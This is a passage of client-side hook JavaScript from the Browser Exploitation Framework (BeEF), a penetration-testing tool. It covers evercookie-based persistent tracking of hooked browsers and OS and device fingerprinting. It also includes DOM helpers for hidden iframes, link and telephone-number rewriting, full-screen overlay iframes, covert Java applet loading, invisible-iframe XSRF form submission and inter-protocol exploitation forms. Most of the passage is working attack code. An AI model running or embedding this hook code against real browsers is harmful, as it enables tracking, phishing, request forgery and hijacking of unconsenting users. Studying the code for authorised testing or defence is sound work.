8343 *
8344 * Provides basic session functions.
8345 */
8346beef.session = {
8347
8348 hook_session_id_length: 80,
8349 hook_session_id_chars:
8350
8351"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
8352 ec: new evercookie(),
8353 beefhook: "BEEFHOOK",
8354
8355 /**
8356 * Gets a string which will be used to identify the hooked browser session
8357 *
8358 * @example: var hook_session_id = beef.session.get_hook_session_id();
8359 */
8360 get_hook_session_id: function() {
8361 // check if the browser is already known to the framework
8362 var id = this.ec.evercookie_cookie(beef.session.beefhook);
8363 if (typeof id == 'undefined') {
8364 var id = this.ec.evercookie_userdata(beef.session.beefhook);
8365 }
8366 if (typeof id == 'undefined') {
8367 var id = this.ec.evercookie_window(beef.session.beefhook);
8368 }
8369
8370 // if the browser is not known create a hook session id and set it
8371 if ((typeof id == 'undefined') || (id == null)) {
8372 id = this.gen_hook_session_id();
8373 this.set_hook_session_id(id);
8374 }
8375
8376 // return the hooked browser session identifier
8377 return id;
8378 },
8379
8380 /**
8381 * Sets a string which will be used to identify the hooked browser session
8382 *
8383 * @example: beef.session.set_hook_session_id('RANDOMSTRING');
8384 */
8385 set_hook_session_id: function(id) {
8386 // persist the hook session id
8387 this.ec.evercookie_cookie(beef.session.beefhook, id);
8388 this.ec.evercookie_userdata(beef.session.beefhook, id);
8389 this.ec.evercookie_window(beef.session.beefhook, id);
8390 },
8391
8392 /**
8393 * Generates a random string using the chars in hook_session_id_chars.
8394 *
8395 * @example: beef.session.gen_hook_session_id();
8396 */
8397 gen_hook_session_id: function() {
8398 // init the return value
8399 var hook_session_id = "";
8400
8401 // construct the random string
8402 for(var i=0; i<this.hook_session_id_length; i++) {
8403 var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
8404 hook_session_id += this.hook_session_id_chars.charAt(rand_num);
8405 }
8406
8407 return hook_session_id;
8408 }
8409};
8410
8411beef.regCmp('beef.session');
8412
8413
8414//
8415// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
8416// Browser Exploitation Framework (BeEF) - http://beefproject.com
8417// See the file 'doc/COPYING' for copying permission
8418//
8419
8420beef.os = {
8421
8422 ua: navigator.userAgent,
8423
8424 /**
8425 * Detect default browser (IE only)
8426 * Written by unsticky
8427 * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
8428 */
8429 getDefaultBrowser: function() {
8430 var result = "Unknown"
8431 try {
8432 var mt = document.mimeType;
8433 if (mt) {
8434 if (mt == "Safari Document") result = "Safari";
8435 if (mt == "Firefox HTML Document") result = "Firefox";
8436 if (mt == "Chrome HTML Document") result = "Chrome";
8437 if (mt == "HTML Document") result = "Internet Explorer";
8438 if (mt == "Opera Web Document") result = "Opera";
8439 }
8440 } catch (e) {
8441 beef.debug("[os] getDefaultBrowser: "+e.message);
8442 }
8443 return result;
8444 },
8445
8446 // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
8447 isWin311: function() {
8448 return (this.ua.match('(Win16)')) ? true : false;
8449 },
8450
8451 isWinNT4: function() {
8452 return (this.ua.match('(Windows NT 4.0)')) ? true : false;
8453 },
8454
8455 isWin95: function() {
8456 return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
8457 },
8458 isWinCE: function() {
8459 return (this.ua.match('(Windows CE)')) ? true : false;
8460 },
8461
8462 isWin98: function() {
8463 return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
8464 },
8465
8466 isWinME: function() {
8467 return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
8468 },
8469
8470 isWin2000: function() {
8471 return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
8472 },
8473
8474 isWin2000SP1: function() {
8475 return (this.ua.match('Windows NT 5.01 ')) ? true : false;
8476 },
8477
8478 isWinXP: function() {
8479 return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
8480 },
8481
8482 isWinServer2003: function() {
8483 return (this.ua.match('(Windows NT 5.2)')) ? true : false;
8484 },
8485
8486 isWinVista: function() {
8487 return (this.ua.match('(Windows NT 6.0)')) ? true : false;
8488 },
8489
8490 isWin7: function() {
8491 return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
8492 },
8493
8494 isWin8: function() {
8495 return (this.ua.match('(Windows NT 6.2)')) ? true : false;
8496 },
8497
8498 isWin81: function() {
8499 return (this.ua.match('(Windows NT 6.3)')) ? true : false;
8500 },
8501
8502 isOpenBSD: function() {
8503 return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
8504 },
8505
8506 isSunOS: function() {
8507 return (this.ua.indexOf('SunOS') != -1) ? true : false;
8508 },
8509
8510 isLinux: function() {
8511 return (this.ua.match('(Linux)|(X11)')) ? true : false;
8512 },
8513
8514 isMacintosh: function() {
8515 return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
8516 },
8517
8518 isOsxYosemite: function(){ // TODO
8519 return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
8520 },
8521 isOsxMavericks: function(){ // TODO
8522 return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
8523 },
8524 isOsxSnowLeopard: function(){ // TODO
8525 return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
8526 },
8527 isOsxLeopard: function(){ // TODO
8528 return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
8529 },
8530
8531 isWinPhone: function() {
8532 return (this.ua.match('(Windows Phone)')) ? true : false;
8533 },
8534
8535 isIphone: function() {
8536 return (this.ua.indexOf('iPhone') != -1) ? true : false;
8537 },
8538
8539 isIpad: function() {
8540 return (this.ua.indexOf('iPad') != -1) ? true : false;
8541 },
8542
8543 isIpod: function() {
8544 return (this.ua.indexOf('iPod') != -1) ? true : false;
8545 },
8546
8547 isNokia: function() {
8548 return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
8549 },
8550
8551 isAndroid: function() {
8552 return (this.ua.match('Android')) ? true : false;
8553 },
8554
8555 isBlackBerry: function() {
8556 return (this.ua.match('BlackBerry')) ? true : false;
8557 },
8558
8559 isWebOS: function() {
8560 return (this.ua.match('webOS')) ? true : false;
8561 },
8562
8563 isQNX: function() {
8564 return (this.ua.match('QNX')) ? true : false;
8565 },
8566
8567 isBeOS: function() {
8568 return (this.ua.match('BeOS')) ? true : false;
8569 },
8570
8571 isWindows: function() {
8572 return (this.ua.match('Windows')) ? true : false;
8573 },
8574
8575 getName: function() {
8576
8577 if(this.isWindows()){
8578 return 'Windows';
8579 }
8580
8581 if(this.isMacintosh()) {
8582 return 'OSX';
8583 }
8584
8585 //Nokia
8586 if(this.isNokia()) {
8587 if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
8588 if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
8589 if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
8590 }
8591
8592 // BlackBerry
8593 if(this.isBlackBerry()) return 'BlackBerry OS';
8594
8595 // Android
8596 if(this.isAndroid()) return 'Android';
8597
8598 // SunOS
8599 if(this.isSunOS()) return 'SunOS';
8600
8601 //Linux
8602 if(this.isLinux()) return 'Linux';
8603
8604 //iPhone
8605 if (this.isIphone()) return 'iOS';
8606 //iPad
8607 if (this.isIpad()) return 'iOS';
8608 //iPod
8609 if (this.isIpod()) return 'iOS';
8610
8611 //others
8612 if(this.isQNX()) return 'QNX';
8613 if(this.isBeOS()) return 'BeOS';
8614 if(this.isWebOS()) return 'webOS';
8615
8616 return 'unknown';
8617 },
8618
8619 getVersion: function(){
8620 //Windows
8621 if(this.isWindows()) {
8622 if (this.isWin81()) return '8.1';
8623 if (this.isWin8()) return '8';
8624 if (this.isWin7()) return '7';
8625 if (this.isWinVista()) return 'Vista';
8626 if (this.isWinXP()) return 'XP';
8627 if (this.isWinServer2003()) return 'Server 2003';
8628 if (this.isWin2000SP1()) return '2000 SP1';
8629 if (this.isWin2000()) return '2000';
8630 if (this.isWinME()) return 'Millenium';
8631
8632 if (this.isWinNT4()) return 'NT 4';
8633 if (this.isWinCE()) return 'CE';
8634 if (this.isWin95()) return '95';
8635 if (this.isWin98()) return '98';
8636 }
8637
8638 // OS X
8639 if(this.isMacintosh()) {
8640 if (this.isOsxYosemite()) return '10.10';
8641 if (this.isOsxMavericks()) return '10.9';
8642 if (this.isOsxSnowLeopard()) return '10.8';
8643 if (this.isOsxLeopard()) return '10.7';
8644 }
8645
8646 // TODO add Android/iOS version detection
8647 }
8648};
8649
8650beef.regCmp('beef.net.os');
8651
8652
8653//
8654// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
8655// Browser Exploitation Framework (BeEF) - http://beefproject.com
8656// See the file 'doc/COPYING' for copying permission
8657//
8658
8659beef.hardware = {
8660
8661 ua: navigator.userAgent,
8662
8663 /*
8664 * @return: {String} CPU type
8665 **/
8666 cpuType: function() {
8667 var arch = 'UNKNOWN';
8668 // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
8669 // in detecting the OS arch rather than the browser build
8670 if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
8671 arch = 'x86_64';
8672 }else if(typeof navigator.cpuClass != 'undefined'){
8673 switch (navigator.cpuClass) {
8674 case '68K':
8675 arch = 'Motorola 68K';
8676 break;
8677 case 'PPC':
8678 arch = 'Motorola PPC';
8679 break;
8680 case 'Digital':
8681 arch = 'Alpha';
8682 break;
8683 default:
8684 arch = 'x86';
8685 }
8686 }
8687 // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
8688 // For example, if OSX is at least 10.7, most certainly is 64 bit.
8689 return arch;
8690 },
8691
8692 /*
8693 * @return: {Boolean} true or false.
8694 **/
8695 isTouchEnabled: function() {
8696 if ('ontouchstart' in document) return true;
8697 return false;
8698 },
8699
8700 /*
8701 * @return: {Boolean} true or false.
8702 **/
8703 isVirtualMachine: function() {
8704 if (screen.width % 2 || screen.height % 2) return true;
8705 return false;
8706 },
8707
8708 /*
8709 * @return: {Boolean} true or false.
8710 **/
8711 isLaptop: function() {
8712 // Most common laptop screen resolution
8713 if (screen.width == 1366 && screen.height == 768) return true;
8714 // Netbooks
8715 if (screen.width == 1024 && screen.height == 600) return true;
8716 return false;
8717 },
8718
8719 /*
8720 * @return: {Boolean} true or false.
8721 **/
8722 isNokia: function() {
8723 return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
8724 },
8725
8726 /*
8727 * @return: {Boolean} true or false.
8728 **/
8729 isZune: function() {
8730 return (this.ua.match('ZuneWP7')) ? true : false;
8731 },
8732
8733 /*
8734 * @return: {Boolean} true or false.
8735 **/
8736 isHtc: function() {
8737 return (this.ua.match('HTC')) ? true : false;
8738 },
8739
8740 /*
8741 * @return: {Boolean} true or false.
8742 **/
8743 isEricsson: function() {
8744 return (this.ua.match('Ericsson')) ? true : false;
8745 },
8746
8747 /*
8748 * @return: {Boolean} true or false.
8749 **/
8750 isMotorola: function() {
8751 return (this.ua.match('Motorola')) ? true : false;
8752 },
8753
8754 /*
8755 * @return: {Boolean} true or false.
8756 **/
8757 isGoogle: function() {
8758 return (this.ua.match('Nexus One')) ? true : false;
8759 },
8760
8761 /**
8762 * Returns true if the browser is on a Mobile Phone
8763 * @return: {Boolean} true or false
8764 *
8765 * @example: if(beef.hardware.isMobilePhone()) { ... }
8766 **/
8767 isMobilePhone: function() {
8768 return DetectMobileQuick();
8769 },
8770
8771 getName: function() {
8772 var ua = navigator.userAgent.toLowerCase();
8773 if(DetectIphone()) { return "iPhone"};
8774 if(DetectIpod()) { return "iPod Touch"};
8775 if(DetectIpad()) { return "iPad"};
8776 if (this.isHtc()) { return 'HTC'};
8777 if (this.isMotorola()) { return 'Motorola'};
8778 if (this.isZune()) { return 'Zune'};
8779 if (this.isGoogle()) { return 'Google Nexus One'};
8780 if (this.isEricsson()) { return 'Ericsson'};
8781 if(DetectAndroidPhone()) { return "Android Phone"};
8782 if(DetectAndroidTablet()) { return "Android Tablet"};
8783 if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
8784 if(ua.search(deviceS60) > -1) { return "Nokia S60"};
8785 if(ua.search(deviceS70) > -1) { return "Nokia S70"};
8786 if(ua.search(deviceS80) > -1) { return "Nokia S80"};
8787 if(ua.search(deviceS90) > -1) { return "Nokia S90"};
8788 if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
8789 if (this.isNokia()) { return 'Nokia'};
8790 if(DetectWindowsPhone7()) { return "Windows Phone 7"};
8791 if(DetectWindowsMobile()) { return "Windows Mobile"};
8792 if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
8793 if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
8794 if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
8795 if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
8796 if(DetectBlackBerry()) { return "BlackBerry"};
8797 if(DetectPalmOS()) { return "Palm OS"};
8798 if(DetectPalmWebOS()) { return "Palm Web OS"};
8799 if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
8800 if(DetectArchos()) { return "Archos"}
8801 if(DetectBrewDevice()) { return "Brew"};
8802 if(DetectDangerHiptop()) { return "Danger Hiptop"};
8803 if(DetectMaemoTablet()) { return "Maemo Tablet"};
8804 if(DetectSonyMylo()) { return "Sony Mylo"};
8805 if(DetectAmazonSilk()) { return "Kindle Fire"};
8806 if(DetectKindle()) { return "Kindle"};
8807 if(DetectSonyPlaystation()) { return "Playstation"};
8808 if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
8809 if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
8810 if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
8811 if(DetectXbox()) { return "Xbox"};
8812 if(this.isLaptop()) { return "Laptop"};
8813 if(this.isVirtualMachine()) { return "Virtual Machine"};
8814
8815 return 'Unknown';
8816 }
8817};
8818
8819beef.regCmp('beef.hardware');
8820
8821
8822//
8823// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
8824// Browser Exploitation Framework (BeEF) - http://beefproject.com
8825// See the file 'doc/COPYING' for copying permission
8826//
8827
8828/*!
8829 * @literal object: beef.dom
8830 *
8831 * Provides functionality to manipulate the DOM.
8832 */
8833beef.dom = {
8834
8835 /**
8836 * Generates a random ID for HTML elements
8837 * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
8838 * @return: generated id
8839 */
8840 generateID: function(prefix) {
8841 return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
8842 },
8843
8844 /**
8845 * Creates a new element but does not append it to the DOM.
8846 * @param: {String} the name of the element.
8847 * @param: {Literal Object} the attributes of that element.
8848 * @return: the created element.
8849 */
8850 createElement: function(type, attributes) {
8851 var el = document.createElement(type);
8852
8853 for(index in attributes) {
8854 if(typeof attributes[index] == 'string') {
8855 el.setAttribute(index, attributes[index]);
8856 }
8857 }
8858
8859 return el;
8860 },
8861
8862 /**
8863 * Removes element from the DOM.
8864 * @param: {String or DOM Object} the target element to be removed.
8865 */
8866 removeElement: function(el) {
8867 if (!beef.dom.isDOMElement(el))
8868 {
8869 el = document.getElementById(el);
8870 }
8871 try {
8872 el.parentNode.removeChild(el);
8873 } catch (e) { }
8874 },
8875
8876 /**
8877 * Tests if the object is a DOM element.
8878 * @param: {Object} the DOM element.
8879 * @return: true if the object is a DOM element.
8880 */
8881 isDOMElement: function(obj) {
8882 return (obj.nodeType) ? true : false;
8883 },
8884
8885 /**
8886 * Creates an invisible iframe on the hook browser's page.
8887 * @return: the iframe.
8888 */
8889 createInvisibleIframe: function() {
8890 var iframe = this.createElement('iframe', {
8891 width: '1px',
8892 height: '1px',
8893 style: 'visibility:hidden;'
8894 });
8895
8896 document.body.appendChild(iframe);
8897
8898 return iframe;
8899 },
8900
8901 /**
8902 * Returns the highest current z-index
8903 * @param: {Boolean} whether to return an associative array with the height AND the ID of the
8904
8905element
8906 * @return: {Integer} Highest z-index in the DOM
8907 * OR
8908 * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT,
8909
8910'elem': STRING}
8911 */
8912 getHighestZindex: function(include_id) {
8913 var highest = {'height':0, 'elem':''};
8914 $j('*').each(function() {
8915 var current_high = parseInt($j(this).css("zIndex"),10);
8916 if (current_high > highest.height) {
8917 highest.height = current_high;
8918 highest.elem = $j(this).attr('id');
8919 }
8920 });
8921
8922 if (include_id) {
8923 return highest;
8924 } else {
8925 return highest.height;
8926 }
8927 },
8928
8929 /**
8930 * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's
8931
8932'params' parameter
8933 * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
8934 * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
8935 * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
8936 * @param: {Hash} params: list of params that will be sent in request.
8937 * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the
8938
8939type parameter
8940 * @param: {Function} a callback function to fire once the iFrame has loaded
8941 * @return: {Object} the inserted iFrame
8942 *
8943 */
8944 createIframe: function(type, params, styles, onload) {
8945 var css = {};
8946
8947 if (type == 'hidden') {
8948 css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none',
8949
8950'visibility':'hidden'}, styles);
8951 } else if (type == 'fullscreen') {
8952 css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%',
8953
8954'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
8955 $j('body').css({'padding':'0px', 'margin':'0px'});
8956 } else {
8957 css = styles;
8958 $j('body').css({'padding':'0px', 'margin':'0px'});
8959 }
8960 var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
8961
8962 return iframe;
8963 },
8964
8965 /**
8966 * Load the link (href value) in an overlay foreground iFrame.
8967 * The BeEF hook continues to run in background.
8968 * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
8969 * Framebusting techniques, this will not work.
8970 */
8971 persistentIframe: function(){
8972 $j('a').click(function(e) {
8973 if ($j(this).attr('href') != '')
8974 {
8975 e.preventDefault();
8976 beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
8977 $j(document).attr('title', $j(this).html());
8978 document.body.scroll = "no";
8979 document.documentElement.style.overflow = 'hidden';
8980 }
8981 });
8982 },
8983
8984 /**
8985 * Load a full screen div that is black, or, transparent
8986 * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
8987 * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
8988 * opacity:0-100 // Lower number = less grayout higher = more of a blackout
8989 * // By default this is 70
8990 * zindex: # // HTML elements with a higher zindex appear on top of the gray out
8991 * // By default this will use beef.dom.getHighestZindex to always go to the top
8992 * bgcolor: (#xxxxxx) // Standard RGB Hex color code
8993 * // By default this is #000000
8994 */
8995 grayOut: function(vis, options) {
8996 // in any order. Pass only the properties you need to set.
8997 var options = options || {};
8998 var zindex = options.zindex || beef.dom.getHighestZindex()+1;
8999 var opacity = options.opacity || 70;
9000 var opaque = (opacity / 100);
9001 var bgcolor = options.bgcolor || '#000000';
9002 var dark=document.getElementById('darkenScreenObject');
9003 if (!dark) {
9004 // The dark layer doesn't exist, it's never been created. So we'll
9005 // create it here and apply some basic styles.
9006 // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
9007 var tbody = document.getElementsByTagName("body")[0];
9008 var tnode = document.createElement('div'); // Create the layer.
9009 tnode.style.position='absolute'; // Position absolutely
9010 tnode.style.top='0px'; // In the top
9011 tnode.style.left='0px'; // Left corner of the page
9012 tnode.style.overflow='hidden'; // Try to avoid making scroll bars
9013 tnode.style.display='none'; // Start out Hidden
9014 tnode.id='darkenScreenObject'; // Name it so we can find it later
9015 tbody.appendChild(tnode); // Add it to the web page
9016 dark=document.getElementById('darkenScreenObject'); // Get the object.
9017 }
9018 if (vis) {
9019 // Calculate the page width and height
9020 if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
9021 var pageWidth = document.body.scrollWidth+'px';
9022 var pageHeight = document.body.scrollHeight+'px';
9023 } else if( document.body.offsetWidth ) {
9024 var pageWidth = document.body.offsetWidth+'px';
9025 var pageHeight = document.body.offsetHeight+'px';
9026 } else {
9027 var pageWidth='100%';
9028 var pageHeight='100%';
9029 }
9030 //set the shader to cover the entire page and make it visible.
9031 dark.style.opacity=opaque;
9032 dark.style.MozOpacity=opaque;
9033 dark.style.filter='alpha(opacity='+opacity+')';
9034 dark.style.zIndex=zindex;
9035 dark.style.backgroundColor=bgcolor;
9036 dark.style.width= pageWidth;
9037 dark.style.height= pageHeight;
9038 dark.style.display='block';
9039 } else {
9040 dark.style.display='none';
9041 }
9042 },
9043
9044 /**
9045 * Remove all external and internal stylesheets from the current page - sometimes prior to socially
9046
9047engineering,
9048 * or, re-writing a document this is useful.
9049 */
9050 removeStylesheets: function() {
9051 $j('link[rel=stylesheet]').remove();
9052 $j('style').remove();
9053 },
9054
9055 /**
9056 * Create a form element with the specified parameters, appending it to the DOM if append == true
9057 * @param: {Hash} params: params to be applied to the form element
9058 * @param: {Boolean} append: automatically append the form to the body
9059 * @return: {Object} a form object
9060 */
9061 createForm: function(params, append) {
9062 var form = $j('<form></form>').attr(params);
9063 if (append)
9064 $j('body').append(form);
9065 return form;
9066 },
9067
9068 /**
9069 * Get the location of the current page.
9070 * @return: the location.
9071 */
9072 getLocation: function() {
9073 return document.location.href;
9074 },
9075
9076 /**
9077 * Get links of the current page.
9078 * @return: array of URLs.
9079 */
9080 getLinks: function() {
9081 var linksarray = [];
9082 var links = document.links;
9083 for(var i = 0; i<links.length; i++) {
9084 linksarray = linksarray.concat(links[i].href)
9085 };
9086 return linksarray
9087 },
9088
9089 /**
9090 * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
9091 * @param: {String} url: the url to be rewritten
9092 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
9093 * @return: {Number} the amount of links found in the DOM and rewritten.
9094 */
9095 rewriteLinks: function(url, selector) {
9096 var sel = (selector == null) ? 'a' : selector;
9097 return $j(sel).each(function() {
9098 if ($j(this).attr('href') != null)
9099 {
9100 $j(this).attr('href', url).click(function() { return true; });
9101 }
9102 }).length;
9103 },
9104
9105 /**
9106 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event
9107
9108overwriting.
9109 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
9110 * @param: {String} url: the url to be rewritten
9111 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
9112 * @return: {Number} the amount of links found in the DOM and rewritten.
9113 */
9114 rewriteLinksClickEvents: function(url, selector) {
9115 var sel = (selector == null) ? 'a' : selector;
9116 return $j(sel).each(function() {
9117 if ($j(this).attr('href') != null)
9118 {
9119 $j(this).click(function() {this.href=url});
9120 }
9121 }).length;
9122 },
9123
9124 /**
9125 * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https
9126
9127with http)
9128 * @param: {String} old_protocol: the old link protocol to be rewritten
9129 * @param: {String} new_protocol: the new link protocol to be written
9130 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
9131 * @return: {Number} the amount of links found in the DOM and rewritten.
9132 */
9133 rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
9134
9135 var count = 0;
9136 var re = new RegExp(old_protocol+"://", "gi");
9137 var sel = (selector == null) ? 'a' : selector;
9138
9139 $j(sel).each(function() {
9140 if ($j(this).attr('href') != null) {
9141 var url = $j(this).attr('href');
9142 if (url.match(re)) {
9143 $j(this).attr('href', url.replace(re, new_protocol
9144
9145+"://")).click(function() { return true; });
9146 count++;
9147 }
9148 }
9149 });
9150
9151 return count;
9152 },
9153
9154 /**
9155 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol
9156
9157handler) with a new telephone number
9158 * @param: {String} new_number: the new link telephone number to be written
9159 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
9160 * @return: {Number} the amount of links found in the DOM and rewritten.
9161 */
9162 rewriteTelLinks: function(new_number, selector) {
9163
9164 var count = 0;
9165 var re = new RegExp("tel:/?/?.*", "gi");
9166 var sel = (selector == null) ? 'a' : selector;
9167
9168 $j(sel).each(function() {
9169 if ($j(this).attr('href') != null) {
9170 var url = $j(this).attr('href');
9171 if (url.match(re)) {
9172 $j(this).attr('href', url.replace(re,
9173
9174"tel:"+new_number)).click(function() { return true; });
9175 count++;
9176 }
9177 }
9178 });
9179
9180 return count;
9181 },
9182
9183 /**
9184 * Given an array of objects (key/value), return a string of param tags ready to append in
9185
9186applet/object/embed
9187 * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
9188 * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param
9189
9190name='abc' value='test' />).
9191 */
9192 parseAppletParams: function(params){
9193 var result = '';
9194 for (i in params){
9195 var param = params[i];
9196 for(key in param){
9197 result += "<param name='" + key + "' value='" + param[key] + "' />";
9198 }
9199 }
9200 return result;
9201 },
9202
9203 /**
9204 * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
9205 * example usage in the code, using a JAR archive (recommended and faster):
9206 * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null,
9207
9208'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
9209 * example usage in the code, using codebase:
9210 * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
9211 * @params: {String} id: reference identifier to the applet.
9212 * @params: {String} code: name of the class to be loaded. For example, beef.class.
9213 * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an
9214
9215unsigned applet).
9216 * @params: {String} archive: the jar that contains the code.
9217 * @params: {String} params: an array of additional params that the applet except.
9218 */
9219 attachApplet: function(id, name, code, codebase, archive, params) {
9220 var content = null;
9221 if (beef.browser.isIE()) {
9222 content = "" + // the classid means 'use the latest JRE available to launch the applet'
9223 "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
9224 "height='0' width='0' name='" + name + "'> " +
9225 "<param name='code' value='" + code + "' />";
9226
9227 if (codebase != null) {
9228 content += "<param name='codebase' value='" + codebase + "' />"
9229 }
9230 if (archive != null){
9231 content += "<param name='archive' value='" + archive + "' />";
9232 }
9233 if (params != null) {
9234 content += beef.dom.parseAppletParams(params);
9235 }
9236 content += "</object>";
9237 }
9238 if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
9239
9240 if (codebase != null) {
9241 content = "" +
9242 "<applet id='" + id + "' code='" + code + "' " +
9243 "codebase='" + codebase + "' " +
9244 "height='0' width='0' name='" + name + "'>";
9245 } else {
9246 content = "" +
9247 "<applet id='" + id + "' code='" + code + "' " +
9248 "archive='" + archive + "' " +
9249 "height='0' width='0' name='" + name + "'>";
9250 }
9251
9252 if (params != null) {
9253 content += beef.dom.parseAppletParams(params);
9254 }
9255 content += "</applet>";
9256 }
9257 // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag
9258
9259rather than the applet tag.
9260// if (beef.browser.isFF()) {
9261// if (codebase != null) {
9262// content = "" +
9263// "<embed id='" + id + "' code='" + code + "' " +
9264// "type='application/x-java-applet' codebase='" + codebase + "' " +
9265// "height='0' width='0' name='" + name + "'>";
9266// } else {
9267// content = "" +
9268// "<embed id='" + id + "' code='" + code + "' " +
9269// "type='application/x-java-applet' archive='" + archive + "' " +
9270// "height='0' width='0' name='" + name + "'>";
9271// }
9272//
9273// if (params != null) {
9274// content += beef.dom.parseAppletParams(params);
9275// }
9276// content += "</embed>";
9277// }
9278 $j('body').append(content);
9279 },
9280
9281 /**
9282 * Given an id, remove the applet from the DOM.
9283 * @params: {String} id: reference identifier to the applet.
9284 */
9285 detachApplet: function(id) {
9286 $j('#' + id + '').detach();
9287 },
9288
9289 /**
9290 * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST
9291
9292requests.
9293 * @params: {String} action: the form action attribute, where the request will be sent.
9294 * @params: {String} method: HTTP method, usually POST.
9295 * @params: {String} enctype: form encoding type
9296 * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
9297 * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
9298 */
9299 createIframeXsrfForm: function(action, method, enctype, inputs){
9300 var iframeXsrf = beef.dom.createInvisibleIframe();
9301
9302 var formXsrf = document.createElement('form');
9303 formXsrf.setAttribute('action', action);
9304 formXsrf.setAttribute('method', method);
9305 formXsrf.setAttribute('enctype', enctype);
9306
9307 var input = null;
9308 for (i in inputs){
9309 var attributes = inputs[i];
9310 input = document.createElement('input');
9311 for(key in attributes){
9312 input.setAttribute(key, attributes[key]);
9313 }
9314 formXsrf.appendChild(input);
9315 }
9316 iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
9317 formXsrf.submit();
9318
9319 return iframeXsrf;
9320 },
9321
9322 /**
9323 * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol
9324
9325exploitation.
9326 * @params: {String} rhost: remote host ip/domain
9327 * @params: {String} rport: remote port
9328 * @params: {String} commands: protocol commands to be executed by the remote host:port service
9329 */
9330 createIframeIpecForm: function(rhost, rport, path, commands){
9331 var iframeIpec = beef.dom.createInvisibleIframe();
9332
9333 var formIpec = document.createElement('form');
